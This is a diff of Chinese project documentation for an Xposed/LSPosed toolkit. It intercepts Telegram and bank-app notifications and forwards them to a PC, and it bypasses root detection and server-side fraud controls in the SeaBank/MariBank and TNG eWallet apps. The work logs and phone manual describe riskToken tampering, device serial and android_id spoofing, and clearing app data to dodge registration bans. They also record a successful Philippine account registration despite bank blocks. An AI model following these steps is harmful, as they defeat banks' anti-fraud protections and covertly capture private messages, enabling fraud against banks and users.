|
||||
|
||||
| 能力 | 是否需要 Telegram Hook | 是否需要 MariBank Hook |
|
||||
|------|------------------------|------------------------|
|
||||
| 抓 TG 消息 | ✅ | ❌ |
|
||||
| MariBank 注册 bypass | ❌ | ✅ |
|
||||
|
||||
LSPosed 作用域可以 **只勾 Telegram + 主 App**,不勾银行包名。
|
||||
|
||||
详见 [`Hook指南.md`](Hook指南.md) 中「模块与通知管理的关系」说明。
|
||||
|
||||
---
|
||||
|
||||
## 10. 相关文件
|
||||
|
||||
```text
|
||||
xposed-module/
|
||||
├── src/main/assets/xposed_init
|
||||
├── src/main/java/.../MainHook.java # 路由到 TelegramMessageHook
|
||||
├── src/main/java/.../HookForwarder.java
|
||||
├── src/main/java/.../hook/TelegramMessageHook.java
|
||||
└── src/main/res/values/arrays.xml # 默认 xposed_scope
|
||||
|
||||
app/
|
||||
├── src/main/java/.../service/HookMessageReceiver.java
|
||||
├── src/main/java/.../service/NotificationService.java
|
||||
├── src/main/java/.../MessageLogStore.java
|
||||
├── src/main/java/.../network/DebugForwarder.java
|
||||
└── src/main/java/.../AppConfig.java
|
||||
|
||||
debug-server/server.py
|
||||
scripts/install-full.ps1
|
||||
scripts/start-debug-server.ps1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 11. 最短路径速查
|
||||
|
||||
```text
|
||||
PC: install-full.ps1 → start-debug-server.ps1
|
||||
手机: LSPosed 启用模块 → 勾 Telegram + 主 App → 软重启 TG
|
||||
App: 监听设置添加 Telegram → 开始监听
|
||||
验证: TG 前台收消息 → 出现 [Hook/xposed_telegram]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*最后更新:2026-07-06*
|
||||
252
docs/工作日志_2026-07-03.md
Normal file
252
docs/工作日志_2026-07-03.md
Normal file
@@ -0,0 +1,252 @@
|
||||
# 2026-07-03
|
||||
|
||||
本文档汇总 **2026 年 7 月 3 日** 在 `notiMessage` 项目上围绕 **MariBank / SeaBank PH 注册与风控绕过** 所完成的分析、实现、测试与仓库整理工作。
|
||||
|
||||
---
|
||||
|
||||
## 1. 当日目标
|
||||
|
||||
在已 Root 的 Pixel 6(Magisk + Zygisk + LSPosed)上,对菲律宾 MariBank App 完成:
|
||||
|
||||
1. 绕过本地 Root / 设备风控,进入注册流程;
|
||||
2. 输入手机号并点击 **Next**,完成 `POST /uapi/v2/register` 注册请求。
|
||||
|
||||
**目标 App**
|
||||
|
||||
|
||||
| 项 | 值 |
|
||||
| --- | ------------------------- |
|
||||
| 包名 | `ph.seabank.seabank` |
|
||||
| 显示名 | MariBank |
|
||||
| 版本 | 3.22.0(versionCode 32200) |
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 2. 核心结论(当日最终状态)
|
||||
|
||||
|
||||
| 层级 | 状态 | 说明 |
|
||||
| --------------- | ----------- | ------------------------------------------------------------------------------------------- |
|
||||
| 本地 Root 弹窗 / 自杀 | **已基本绕过** | 可进入首页与手机号输入页 |
|
||||
| DFP 上报 | **成功** | `POST /dfp/v1/data/report` 返回 `code=0` |
|
||||
| riskToken 尾部净化 | **Hook 生效** | ` |
|
||||
| 注册接口 | **仍失败** | `POST /uapi/v2/register` → `**4067012`**(亦见 `4067004`) |
|
||||
| 服务端文案 | 账户安全临时封锁 | 「For your account's security, this service has been temporarily blocked...」(+632) 8424 8050 |
|
||||
|
||||
|
||||
**判断**:本地 bypass 已推进到 DFP 层,但 **服务端仍拒绝注册**。原因可能包括:加密 DFP 载荷校验、设备指纹黑名单、号码/设备组合风控,而非单纯 riskToken 尾部字段。改 token 尾部 **不足以** 通过注册。
|
||||
|
||||
---
|
||||
|
||||
## 3. Xposed 模块实现(`xposed-module`)
|
||||
|
||||
### 3.1 新增 / 主要 Hook 文件
|
||||
|
||||
|
||||
| 文件 | 作用 |
|
||||
| ---------------------------------- | ------------------------------------------------------------ |
|
||||
| `hook/MariBankRootBypassHook.java` | SafeMode、SHPSSDK、OkHttp 出站净化、4067 错误日志、Root 自杀拦截 |
|
||||
| `hook/MariBankShpsNativeHook.java` | `/proc` 过滤、native-core、boot 属性伪装、`requestDefense` 等 native 层 |
|
||||
| `hook/MariBankRiskTokenUtil.java` | riskToken / deviceToken 尾部 ` |
|
||||
| `MainHook.java` | 对 `ph.seabank.seabank` 加载上述 Hook(先 early proc,再 deferred) |
|
||||
|
||||
|
||||
### 3.2 关键逆向结论(已写入 Hook)
|
||||
|
||||
|
||||
| 能力 | 真实类 / 库 |
|
||||
| -------------- | ------------------------------------------------------- |
|
||||
| riskToken 生成链 | `vvuuuuvvv.wwvuwuwvu(Context)`(classes11.dex) |
|
||||
| SoUtils | `com.shopee.bke.lib.jni.utils.f`(log tag `SoUtils`) |
|
||||
| Native 加密包装 | `com.shopee.bke.lib.jni.utils.d` → native `uvwuvwuv` |
|
||||
| SHPSSDK native | `libshpssdk_bank.so`;`wvvvuwwu.vvuwuuvuu` → `wwvwvwuvv` |
|
||||
| 字符串解密 | `uvuwwuvwv.uvwwuuvvw.uvuwwwuwu(hex, key)` |
|
||||
|
||||
|
||||
### 3.3 明确避免 Hook 的点(实测会崩)
|
||||
|
||||
- `**RealInterceptorChain.proceed`**:SO 硬编码检测,Hook 后易触发风控或异常。
|
||||
- `**ShpssInstall` / `vuvuwwwuw`**:干扰 `SoUtils.loadSoLibrary`,导致 `libsdkutils` 加载死循环 **白屏**。
|
||||
|
||||
### 3.4 注册请求体
|
||||
|
||||
- register body 为 **native 加密**,Java 层 Hook 常见日志:`register request body unreadable (encrypted or one-shot)`。
|
||||
- 当日 **未** 在 logcat 中抓到 register 明文 JSON。
|
||||
|
||||
---
|
||||
|
||||
## 4. 逆向与静态分析(`reverse/`)
|
||||
|
||||
### 4.1 已完成
|
||||
|
||||
- 从设备 pull split APK / base APK,提取 `libsdkutils.so`、`libshpssdk_bank.so`、`libbkutils.so` 等至 `reverse/extracted/native/`。
|
||||
- 编写并运行大量 DEX/APK 扫描脚本(scan / dump / find 系列),定位:
|
||||
- SHPSSDK、SafeMode、注册 API、4067 错误上下文;
|
||||
- JNI 目标与加密类继承关系。
|
||||
- 脚本:`reverse/frida/pull_split_apk.ps1`、`reverse/scripts/extract_all_so.py` 等。
|
||||
|
||||
### 4.2 主要 native / 加密链路
|
||||
|
||||
```
|
||||
register 请求
|
||||
→ NativeEncryptUtilsWrapper (utils.d)
|
||||
→ native uvwuvwuv (libsdkutils.so / libbkutils.so)
|
||||
→ 加密 body + riskToken / deviceToken
|
||||
→ POST https://api.seabank.ph/uapi/v2/register
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Frida 动态分析
|
||||
|
||||
### 5.1 环境
|
||||
|
||||
- PC:Frida **17.15.3**;手机:`/data/local/tmp/frida-server`
|
||||
- 脚本:`reverse/frida/trace_maribank_register.js`
|
||||
- 运行器:`run_frida_trace.py`(attach / spawn)、`run_spawn_trace.py`、`start-mari-trace.ps1`
|
||||
|
||||
### 5.2 遇到的问题
|
||||
|
||||
|
||||
| 模式 | 现象 |
|
||||
| ---------- | ---------------------------------------------------------------------- |
|
||||
| **attach** | 长时间 `Java.available == false`,Java Hook 无法安装;进程名需用 **MariBank** 而非包名查找 |
|
||||
| **spawn** | native `dlopen` 可 hook,但 Java 层 `Java is not defined` / 线程相关异常 |
|
||||
| CLI spawn | 无 `--no-pause` 时 session 立即退出;需 Python runner 保活 |
|
||||
|
||||
|
||||
### 5.3 当日 Frida 结论
|
||||
|
||||
- **未抓到** 有效的 `/register` 明文 body 或完整 HTTP 链日志。
|
||||
- MariBank 对 Frida 有较强干扰;**当日有效证据主要来自 LSPosed logcat**,而非 Frida trace。
|
||||
|
||||
---
|
||||
|
||||
## 6. Logcat 实测摘要(LSPosed 生效)
|
||||
|
||||
**测试号码示例**:`9178854266`、`9133477799`、`9171243667` 等(均失败)。
|
||||
|
||||
**典型成功链路**
|
||||
|
||||
```text
|
||||
POST /dfp/v1/data/report → {"code":0,...}
|
||||
riskToken sanitized ... -> |00|0
|
||||
```
|
||||
|
||||
**典型失败链路**
|
||||
|
||||
```text
|
||||
POST /uapi/v2/register
|
||||
→ {"code":4067012,"msg":"For your account's security, this service has been temporarily blocked..."}
|
||||
```
|
||||
|
||||
**其他日志**
|
||||
|
||||
- `wvvvuwwu.vuwuuwvw` native 实现未找到(可能与 LSPosed / 环境冲突有关)。
|
||||
- Root 检测触发 `killProcess` 时被 `blocked finish` 拦截,表现为短暂异常后仍可继续使用。
|
||||
|
||||
**推荐 logcat 过滤**
|
||||
|
||||
```powershell
|
||||
powershell -File scripts\logcat-maribank.ps1 -Follow
|
||||
# 或
|
||||
adb logcat -s notiMessageHook/MariBankRoot:V MB-TRACE:V
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. 构建与安装脚本
|
||||
|
||||
|
||||
| 脚本 | 用途 |
|
||||
| ------------------------------ | ------------------------------------ |
|
||||
| `scripts/build-debug.ps1` | 构建主 App + xposed-module debug APK |
|
||||
| `scripts/install-debug.ps1` | 安装双 APK |
|
||||
| `scripts/install-frida.ps1` | PC + 手机 frida-server |
|
||||
| `scripts/start-mari-trace.ps1` | 启动 Frida attach + MariBank 相关 logcat |
|
||||
| `scripts/logcat-maribank.ps1` | 过滤 MariBank / Hook 日志 |
|
||||
| `scripts/organize-reverse.ps1` | 整理 `reverse/` 目录(可重复执行) |
|
||||
|
||||
|
||||
LSPosed 作用域需勾选:**MariBank + notiMessage + xposed 模块**。
|
||||
|
||||
---
|
||||
|
||||
## 8. 仓库整理
|
||||
|
||||
### 8.1 问题
|
||||
|
||||
`reverse/` 根目录堆积 **70+ Python 脚本**、临时 `.dex`、解压 APK(约 **2.2 GB / 7 万+ 文件**),IDE 与 `git status` 显得极乱。
|
||||
|
||||
### 8.2 新目录结构
|
||||
|
||||
```
|
||||
reverse/
|
||||
├── README.md
|
||||
├── scripts/ # 逆向 Python 脚本(71 个,含 _paths.py)
|
||||
├── frida/ # Frida 脚本与运行器
|
||||
├── apks/ # APK / zip(不入库)
|
||||
├── extracted/ # 解压、dex dump、.so(不入库)
|
||||
├── output/ # 分析报告 *.txt
|
||||
├── logs/ # 运行日志
|
||||
│ └── frida/ # trace / logcat
|
||||
└── tmp/ # 临时 *.dex(不入库)
|
||||
```
|
||||
|
||||
### 8.3 同步修改
|
||||
|
||||
- **44 个** 脚本内路径改为相对 `reverse/` 根(`apks/`、`extracted/`、`tmp/`、`output/`)。
|
||||
- Frida 日志输出改到 `reverse/logs/frida/`。
|
||||
- 更新 `.gitignore`、`docs/银行逆向.md`、`pull_split_apk.ps1`、`start-mari-trace.ps1`。
|
||||
- `apk_extract/` 迁入 `extracted/apk_extract/`;`seabank.zip` 迁入 `apks/`。
|
||||
|
||||
---
|
||||
|
||||
## 9. 后续建议(未在当日完成)
|
||||
|
||||
|
||||
| 优先级 | 方向 |
|
||||
| --- | -------------------------------------------------------------------- |
|
||||
| 1 | **对照实验**:未 Root 干净机 + 菲律宾 IP + 新号码,区分设备封禁 vs 号码封禁 |
|
||||
| 2 | **Native 明文**:Hook `libsdkutils` / `utils.d` 包装层,抓 register 加密前 body |
|
||||
| 3 | **riskToken 全链**:在 `vvuuuuvvv.wwvuwuwvu` 最早出口做更深层净化(含加密段) |
|
||||
| 4 | **Frida**:换未被检测环境,或仅 attach 已运行进程;当前 MariBank 上 Java 桥不稳定 |
|
||||
| 5 | **停试**:已失败号码/设备冷却 **24–48h**,避免加重 `4067012` |
|
||||
| 6 | **官方解封**:(+632) 8424 8050 |
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 10. 相关文档与路径索引
|
||||
|
||||
|
||||
| 文档 / 路径 | 说明 |
|
||||
| ---------------------------------- | ----------------------------------- |
|
||||
| `docs/MariBank实现说明.md` | **MariBank 实现细节与问题记录(专文)** |
|
||||
| `docs/MariBank_2026-07-06_菲律宾突破.md` | PH OTP 突破 + SG 现状 |
|
||||
| `docs/MariBank风控与载荷说明.md` | register 字段、afExtInfo、USB 调试 |
|
||||
| `docs/手机操作手册.md` | Root 机部署与日常操作 |
|
||||
| `docs/银行逆向.md` | 澳大利亚三家银行 Hook(Up / Suncorp / ubank) |
|
||||
| `docs/Hook指南.md` | 通用 Hook 架构、Xposed/LSPosed、扩展 |
|
||||
| `docs/更新说明.md` | 主 App / TG Hook 版本历史 |
|
||||
| `reverse/README.md` | 逆向工作区目录说明 |
|
||||
| `reverse/frida/jni_targets.md` | JNI Hook 目标备忘 |
|
||||
| `xposed-module/.../MariBank*.java` | MariBank bypass 实现 |
|
||||
|
||||
|
||||
---
|
||||
|
||||
## 11. 当日工作清单(摘要)
|
||||
|
||||
- [x] MariBank Root / SHPSSDK / SafeMode Xposed bypass 实现与迭代
|
||||
- [x] riskToken 尾部净化与 OkHttp 出站拦截
|
||||
- [x] DEX / SO / JNI 静态逆向与脚本沉淀
|
||||
- [x] Frida trace 脚本与 attach/spawn 运行器(受 App 反 Frida 限制)
|
||||
- [x] LSPosed logcat 分析,确认 **4067012** 为服务端拒绝
|
||||
- [x] `reverse/` 目录整理与 `.gitignore` 更新
|
||||
- [ ] 注册成功(**未完成**,阻塞于服务端风控)
|
||||
|
||||
---
|
||||
|
||||
*记录日期:2026-07-03*
|
||||
160
docs/手机操作手册.md
Normal file
160
docs/手机操作手册.md
Normal file
@@ -0,0 +1,160 @@
|
||||
# 手机操作手册
|
||||
|
||||
> 在 Root 手机上部署 **notiMessage** 主 App + **Xposed 模块**,以及 **MariBank / SeaBank** bypass 的日常步骤。
|
||||
> 关联:[`Hook指南.md`](Hook指南.md) · [`MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md) · [`MariBank风控与载荷说明.md`](MariBank风控与载荷说明.md)
|
||||
|
||||
---
|
||||
|
||||
## 1. 手机前置条件(一次性)
|
||||
|
||||
| 步骤 | 操作 |
|
||||
|------|------|
|
||||
| 1 | 刷 **Magisk**,Magisk 设置里开启 **Zygisk** |
|
||||
| 2 | 安装 **LSPosed**(Magisk 模块或 Manager APK) |
|
||||
| 3 | 安装 **Shamiko**(银行 App **强烈建议**) |
|
||||
| 4 | Magisk → **配置排除列表** → 开启 |
|
||||
| 5 | 排除列表勾选目标银行 **全部子进程**(PH / SG 包名见下) |
|
||||
| 6 | **不要** 开启「强制启用排除列表」(Shamiko 要求 Enforce = OFF) |
|
||||
| 7 | (可选)安装 Magisk 模块 `maribank-device-spoof` 持久换 serial / android_id |
|
||||
|
||||
### 目标包名
|
||||
|
||||
| App | 包名 |
|
||||
|-----|------|
|
||||
| 菲律宾 SeaBank | `ph.seabank.seabank` |
|
||||
| 新加坡 MariBank | `sg.com.maribankmobile.digitalbank` |
|
||||
| notiMessage 主 App | `com.miraclegarden.smsmessage` |
|
||||
| Xposed 模块 | `com.miraclegarden.smsmessage.xposed` |
|
||||
| Telegram(抓消息) | `org.telegram.messenger` 或 `org.telegram.messenger.web` |
|
||||
|
||||
---
|
||||
|
||||
## 2. PC 安装 / 更新(USB 连手机)
|
||||
|
||||
### 2.1 一键全套(推荐)
|
||||
|
||||
```powershell
|
||||
cd C:\Users\Administrator\Desktop\notiMessage
|
||||
.\scripts\install-full.ps1
|
||||
```
|
||||
|
||||
自动完成:编译 → 安装双 APK → 配置 LSPosed 作用域 → 电池白名单 → 通知监听授权等。
|
||||
|
||||
### 2.2 仅编译安装 APK
|
||||
|
||||
```powershell
|
||||
.\scripts\build-debug.ps1
|
||||
.\scripts\install-debug.ps1
|
||||
```
|
||||
|
||||
### 2.3 MariBank 测前收尾
|
||||
|
||||
```powershell
|
||||
.\scripts\maribank-scheme-b-finish.ps1
|
||||
```
|
||||
|
||||
作用:确认 Magisk 模块、写入 LSPosed 作用域、关 USB 调试(可选)、`pm clear` 银行 App。
|
||||
|
||||
换设备 ID:
|
||||
|
||||
```powershell
|
||||
.\scripts\maribank-spoof-device.ps1 -InstallModule # 持久模块
|
||||
.\scripts\maribank-spoof-device.ps1 -ClearMariBank # 一次性 resetprop + 清数据
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 手机上 LSPosed 必做步骤
|
||||
|
||||
**每次新装或更新 Xposed 模块 APK 后:**
|
||||
|
||||
1. 打开 **LSPosed**
|
||||
2. 找到模块 **notiMessage Xposed** → **启用**
|
||||
3. 进入 **作用域**,勾选需要的 App(见 §1 包名表)
|
||||
4. 对 **每个已勾选 App** 执行 **软重启**(或整机重启)
|
||||
|
||||
未软重启时 Hook **不会** 注入目标 App。
|
||||
|
||||
---
|
||||
|
||||
## 4. 日常使用
|
||||
|
||||
### 4.1 菲律宾 SeaBank 注册(当前可 OTP)
|
||||
|
||||
1. 确认 LSPosed 已启用且作用域含 `ph.seabank.seabank`
|
||||
2. (建议)`pm clear ph.seabank.seabank` 或跑 `maribank-scheme-b-finish.ps1`
|
||||
3. 打开 App → **Sign up** → 输入菲律宾手机号 → **Next**
|
||||
4. 等待 OTP 短信
|
||||
|
||||
> **说明**:实测 **USB 调试可保持开启** 仍能 OTP,因 Xposed 对 App 伪装 adb 状态(详见 [`MariBank风控与载荷说明.md` §4](MariBank风控与载荷说明.md))。测 SG 或求稳时仍建议关调试。
|
||||
|
||||
### 4.2 新加坡 MariBank
|
||||
|
||||
流程同上,包名为 `sg.com.maribankmobile.digitalbank`。详见 **[`MariBank新加坡突破.md`](MariBank新加坡突破.md)**(3100012 排查与 `maribank-sg-register.ps1`)。
|
||||
|
||||
### 4.3 notiMessage 抓 Telegram
|
||||
|
||||
详见 **[`Telegram抓消息说明.md`](Telegram抓消息说明.md)**(安装、作用域、双通道、排错)。
|
||||
|
||||
简要步骤:
|
||||
|
||||
1. 打开 **notiMessage** → **监听设置** 添加 Telegram → **开始监听** → 授予通知使用权
|
||||
2. LSPosed 作用域勾选 Telegram + 主 App → **软重启 Telegram**
|
||||
3. PC 调试台(可选):`.\scripts\start-debug-server.ps1`
|
||||
|
||||
---
|
||||
|
||||
## 5. 抓 log(PC)
|
||||
|
||||
```powershell
|
||||
$adb = "C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools\adb.exe"
|
||||
|
||||
& $adb logcat -c
|
||||
# 手机操作:Sign up → Next
|
||||
|
||||
& $adb logcat -d | Select-String "MariBankEncrypt in0 byte\[1|MariBankRoot HTTP.*register|3100012|4067012|OTP_SMS"
|
||||
```
|
||||
|
||||
验证伪装 ID:
|
||||
|
||||
```powershell
|
||||
& $adb shell su -c "getprop ro.serialno; settings get secure android_id"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 换机 / 新机迁移
|
||||
|
||||
1. 新机 Root + Magisk + Zygisk + LSPosed + Shamiko
|
||||
2. PC 执行 `install-full.ps1`
|
||||
3. LSPosed 启用模块 + 作用域 + 软重启
|
||||
4. 安装 `maribank-device-spoof` → 重启 → `maribank-scheme-b-finish.ps1`
|
||||
5. DenyList 重新勾选银行 App
|
||||
|
||||
---
|
||||
|
||||
## 7. 常见问题
|
||||
|
||||
| 现象 | 处理 |
|
||||
|------|------|
|
||||
| 银行 App 白屏 | LSPosed 软重启;勿改 Hook 加载时机(见实现说明) |
|
||||
| Root / ADB 弹窗 | 确认模块启用 + 作用域已勾银行 App |
|
||||
| adb 连不上 | 开发者选项重新开 **USB 调试**,解锁点允许 |
|
||||
| 菲律宾又 4067012 | `pm clear ph.seabank.seabank`,必要时重跑 spoof |
|
||||
| Hook 不生效 | LSPosed **软重启**目标 App,不是只杀进程 |
|
||||
| 收尾脚本卡住 | adb 断开;先开 USB 调试连 PC,跑完脚本再关 |
|
||||
|
||||
---
|
||||
|
||||
## 8. 最短路径速查
|
||||
|
||||
```
|
||||
PC: install-full.ps1
|
||||
手机: LSPosed 启用 → 勾选 App → 软重启
|
||||
银行: maribank-scheme-b-finish.ps1 → Sign up → Next
|
||||
抓包: logcat -c → Next → logcat -d | Select-String register
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
*最后更新:2026-07-06*
|
||||
126
docs/更新说明.md
Normal file
126
docs/更新说明.md
Normal file
@@ -0,0 +1,126 @@
|
||||
# 更新说明
|
||||
|
||||
## TNG eWallet 登录/注册区号(2026-08-03)
|
||||
|
||||
- **包名** `my.com.tngdigital.ewallet` v1.9.10,Android 16(Pixel 6)Root + LSPosed
|
||||
- **问题**:登录/注册点区号时 `i7.l` loading 弹窗触发 HWUI gralloc ABRT(signal 6 黑屏)
|
||||
- **修复**(`TngRootBypassHook`):
|
||||
- Login / Register 统一 **skip `i7.l` Dialog.show**,`Dialog.isShowing()` 返回 true 防卡死
|
||||
- `UserSearchCallingCodeActivity` 正常打开,国家列表可见
|
||||
- **自动化**:`reverse/scripts/test_tng_full_flow.py`(注册区号 + 登录 PIN 区号,两次冷启动)
|
||||
- **一键**:`powershell -File scripts/test-tng-full-flow.ps1`
|
||||
|
||||
---
|
||||
|
||||
## MariBank 风控 bypass(2026-07-06)
|
||||
|
||||
- **菲律宾 SeaBank**(`ph.seabank.seabank`):Root Pixel 6 上 **注册成功、可发 OTP**(`api.seabank.ph` → `code=0`)
|
||||
- **新加坡 MariBank**(`sg.com.maribankmobile.digitalbank`):仍 **3100012**
|
||||
- 新增 / 更新文档:
|
||||
- [`docs/MariBank_2026-07-06_菲律宾突破.md`](MariBank_2026-07-06_菲律宾突破.md) — 突破记录与 PH/SG 对比
|
||||
- [`docs/MariBank风控与载荷说明.md`](MariBank风控与载荷说明.md) — register 字段、afExtInfo、USB 调试、真实原因
|
||||
- [`docs/手机操作手册.md`](手机操作手册.md) — Root 机部署与日常操作
|
||||
- [`docs/Hook指南.md`](Hook指南.md) — 新增 §0 Xposed 与 LSPosed
|
||||
- 脚本:`scripts/maribank-spoof-device.ps1`、`scripts/maribank-scheme-b-finish.ps1`、`scripts/magisk/maribank-device-spoof/`
|
||||
- 文档文件名已全部改为中文(见 `docs/` 目录)
|
||||
|
||||
---
|
||||
|
||||
## v2.2.1(2026-07-02)
|
||||
|
||||
### 修复:Hook 通道在 notiMessage 后台时丢失消息
|
||||
|
||||
**问题**
|
||||
TG 在前台、notiMessage 切到后台时,Hook 虽能收到 Xposed 广播,但原先需经 `startService` 才转发到 PC。Android 8+ 会限制后台启动服务,导致 PC 调试台和日志经常收不到 `[Hook/...]` 消息,表现为「必须两个 App 都在当前页面才行」。
|
||||
|
||||
**改动**
|
||||
|
||||
| 模块 | 说明 |
|
||||
|------|------|
|
||||
| `HookMessageReceiver` | 收到广播后**直接在 Receiver 内**调用 `DebugForwarder`;使用 `goAsync()` 等待 HTTP 完成,避免进程被提前回收 |
|
||||
| `DebugForwarder` | 增加完成回调与详细日志(成功 / HTTP 错误 / 网络失败) |
|
||||
| `NotificationService` | `submitFromHook` / `requestStartMonitoring` 改用 `startForegroundService`(正式上传模式);通知通道增加诊断日志 |
|
||||
| `NotificationHealthCheckWorker` | 健康检查**不再要求联网**;每 15 分钟自动尝试恢复通知监听 |
|
||||
|
||||
**诊断 logcat 标签**
|
||||
|
||||
```text
|
||||
HookMessageReceiver — Hook 广播到达 / 被跳过
|
||||
DebugForwarder — PC 转发结果
|
||||
NotificationService — 系统通知到达 / 空通知跳过
|
||||
NotiHealthCheck — 定时健康检查
|
||||
```
|
||||
|
||||
```powershell
|
||||
adb logcat | findstr /i "HookMessageReceiver DebugForwarder NotificationService NotiHealthCheck"
|
||||
```
|
||||
|
||||
**验证步骤**
|
||||
|
||||
1. 安装新版主 App:`scripts\install-debug.ps1`
|
||||
2. 启动 PC 调试台:`scripts\start-debug-server.ps1`
|
||||
3. notiMessage 点「开始监听」后**切到桌面**
|
||||
4. 打开 TG 发消息 → PC 应出现 `[Hook/xposed_telegram]`
|
||||
|
||||
> **说明**:TG 在后台时仍走**通知通道**,需 TG 弹出系统通知。若 TG 被系统冻结或未弹通知,请给 TG / notiMessage 设「电池不受限制」,并确认群未静音。
|
||||
|
||||
---
|
||||
|
||||
## v2.2 + Xposed v1.1.0
|
||||
|
||||
### 新功能
|
||||
|
||||
- **Telegram 专用 Hook**(`TelegramMessageHook`):前台抓取已解密消息,支持文字 / 图片说明 / 群名
|
||||
- **双 APK 架构**:主 App + `xposed-module`,LSPosed 作用域需勾选 Telegram 与 notiMessage
|
||||
- **PC 本地调试台**(`debug-server/server.py`,端口 8765):按群/会话分组展示
|
||||
- **`MessageLogStore`**:监听页日志持久化,App 后台再打开可恢复历史
|
||||
- **`DebugForwarder`**:消息 POST 到 PC(`AppConfig.ENABLE_DEBUG_FORWARD`)
|
||||
- **安装脚本**:`build-debug.ps1`、`install-debug.ps1`、`install-full.ps1`、`configure-lsposed.py`
|
||||
|
||||
### 配置(`AppConfig.java`)
|
||||
|
||||
| 开关 | 当前默认值 | 含义 |
|
||||
|------|------------|------|
|
||||
| `ENABLE_SERVER_UPLOAD` | `false` | 正式后端上传 |
|
||||
| `ENABLE_DEBUG_FORWARD` | `true` | 转发到 PC 调试台 |
|
||||
| `DEBUG_SERVER_URL` | `http://127.0.0.1:8765` | 调试服务地址(USB 用 adb reverse) |
|
||||
|
||||
### 双通道机制
|
||||
|
||||
| 场景 | 通道 | 日志标识 |
|
||||
|------|------|----------|
|
||||
| TG 后台 / 锁屏有系统通知 | 通知监听 | 无前缀 |
|
||||
| TG 前台(通常无通知) | Xposed Hook | `[Hook/xposed_telegram]` |
|
||||
|
||||
### 已知限制
|
||||
|
||||
- 通用 SQLite Hook 对 Telegram **无效**(消息在加密 `data` 字段)
|
||||
- 监听包名须与实际安装一致,如 `org.telegram.messenger.web`
|
||||
- 空内容通知(纯图片无文字)会被跳过
|
||||
- Android Studio 直接 Run 只装主 App;完整能力需 `install-full.ps1`
|
||||
|
||||
### 文档
|
||||
|
||||
- Telegram 专文:`docs/Telegram抓消息说明.md`
|
||||
- 架构与扩展:`docs/Hook指南.md`
|
||||
- Agent 说明:`AGENTS.md`
|
||||
|
||||
---
|
||||
|
||||
## 安装与升级
|
||||
|
||||
```powershell
|
||||
# 构建
|
||||
powershell -ExecutionPolicy Bypass -File scripts\build-debug.ps1
|
||||
|
||||
# 安装双 APK
|
||||
powershell -ExecutionPolicy Bypass -File scripts\install-debug.ps1
|
||||
|
||||
# 完整安装(含 LSPosed 作用域 + adb reverse + 电池白名单)
|
||||
powershell -ExecutionPolicy Bypass -File scripts\install-full.ps1
|
||||
|
||||
# PC 调试台
|
||||
powershell -ExecutionPolicy Bypass -File scripts\start-debug-server.ps1
|
||||
```
|
||||
|
||||
升级 v2.2.1 后**至少需重装主 App**;若只改了主 App 代码,Xposed 模块无需重装。
|
||||
134
docs/银行逆向.md
Normal file
134
docs/银行逆向.md
Normal file
@@ -0,0 +1,134 @@
|
||||
# 澳大利亚银行 App 逆向报告
|
||||
|
||||
从 Pixel 6 设备拉取 APK(2026-07-02),用 DEX 字符串扫描 + 类名分析确定 Hook 点。
|
||||
|
||||
APK 位置(本地,未入库):`reverse/apks/*-base.apk`
|
||||
|
||||
---
|
||||
|
||||
## 1. 包名与架构
|
||||
|
||||
| App | 包名 | 技术栈 | 推送方案 |
|
||||
|-----|------|--------|----------|
|
||||
| **Up** | `au.com.up.money` | React Native | 原生 `HandlerService` + RN Firebase |
|
||||
| **Suncorp** | `au.com.suncorp.marketplace` | Kotlin 原生 | `SuncorpMessagingService` (FCM) |
|
||||
| **ubank** | `au.com.bank86400` | Capacitor (Web) | MoEngage + Capacitor FCM 插件 |
|
||||
|
||||
---
|
||||
|
||||
## 2. Hook 点(已实现)
|
||||
|
||||
### Up Bank
|
||||
|
||||
| 路径 | 类 | 方法 |
|
||||
|------|-----|------|
|
||||
| **FCM 主路径** | `au.com.up.money.notifications.HandlerService` | `onMessageReceived(RemoteMessage)` |
|
||||
| **前台兜底** | `android.app.NotificationManager` | `notify(...)` |
|
||||
|
||||
相关类(DEX 中发现):
|
||||
|
||||
- `au.com.up.money.notifications.handlers.NotificationHandler`
|
||||
- `au.com.up.money.notifications.Util$NotificationType`
|
||||
- `Lio/invertase/firebase/messaging/ReactNativeFirebaseMessagingService`(RN 层,已由 HandlerService 覆盖)
|
||||
|
||||
### Suncorp Bank
|
||||
|
||||
| 路径 | 类 | 方法 |
|
||||
|------|-----|------|
|
||||
| **FCM 主路径** | `au.com.suncorp.marketplace.base.application.SuncorpMessagingService` | `onMessageReceived(RemoteMessage)` |
|
||||
| **前台兜底** | `NotificationManager.notify` | extras 取 title/text |
|
||||
|
||||
相关:
|
||||
|
||||
- `FirebaseService.registerPushNotification`
|
||||
- `BankingPaymentNotification` / `incomingPaymentNotification`
|
||||
- `NotificationDetailsPresenter` / `NotificationDetailsActivity`
|
||||
|
||||
### ubank
|
||||
|
||||
| 路径 | 类 | 方法 |
|
||||
|------|-----|------|
|
||||
| **MoEngage FCM** | `com.moengage.firebase.MoEFireBaseMessagingService` | `onMessageReceived(RemoteMessage)` |
|
||||
| **Capacitor FCM** | `io.capawesome.capacitorjs.plugins.firebase.messaging.MessagingService` | `onMessageReceived(RemoteMessage)` |
|
||||
| **前台兜底** | `NotificationManager.notify` | extras |
|
||||
|
||||
日志字符串:`onMessageReceived() : Will try to show push`、`Not a MoEngage Payload`
|
||||
|
||||
---
|
||||
|
||||
## 3. 源码位置(xposed-module)
|
||||
|
||||
| 文件 | 说明 |
|
||||
|------|------|
|
||||
| `hook/UpBankMessageHook.java` | Up 专用 |
|
||||
| `hook/SuncorpBankMessageHook.java` | Suncorp 专用 |
|
||||
| `hook/UbankMessageHook.java` | ubank 专用 |
|
||||
| `hook/BankHookHelper.java` | RemoteMessage / Notification 解析、去重 |
|
||||
| `hook/BankNotificationHook.java` | 三家共用的 notify 兜底 |
|
||||
|
||||
日志 source 标识:
|
||||
|
||||
- `xposed_up` / `xposed_up_notify`
|
||||
- `xposed_suncorp` / `xposed_suncorp_notify`
|
||||
